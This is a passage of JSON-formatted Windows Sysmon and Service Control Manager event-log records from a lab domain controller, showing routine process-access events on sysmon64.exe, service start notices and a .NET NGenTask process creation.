C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76850,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Update Orchestrator Service for Windows Update service entered the running state.","param1":"Update Orchestrator Service for Windows Update","param2":"running","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76851,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Windows Insider Service service entered the running state.","param1":"Windows Insider Service","param2":"running","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.975\r\nProcessGuid: {90617006-422C-5F2D-0000-001026310900}\r\nProcessId: 4360\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Microsoft .NET Framework optimization service\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: NGenTask.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\" /RuntimeWide /StopEvent:880\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=310EC059A68DEB69CFC32CFA946FEFE0,SHA256=7BC95DCD791A505FDD9FD0E117EB0BD5AC4F28176E8127FFB39521DAEF670970,IMPHASH=00000000000000000000000000000000\r\nParentProcessGuid: {90617006-422C-5F2D-0000-001047240900}\r\nParentProcessId: 4824\r\nParentImage: C:\\Windows\\System32\\taskhostw.exe\r\nParentCommandLine: taskhostw.exe /RuntimeWide","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.975","ProcessGuid":"{90617006-422C-5F2D-0000-001026310900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Microsoft .NET Framework optimization service","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"NGenTask.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\" /RuntimeWide /StopEvent:880","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=310EC059A68DEB69CFC32CFA946FEFE0,SHA256=7BC95DCD791A505FDD9FD0E117EB0BD5AC4F28176E8127FFB39521DAEF670970,IMPHASH=00000000000000000000000000000000","ParentProcessGuid":"{90617006-422C-5F2D-0000-001047240900}","ParentProcessId":"4824","ParentImage":"C:\\Windows\\System32\\taskhostw.exe","ParentCommandLine":"taskhostw.exe /RuntimeWide","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: 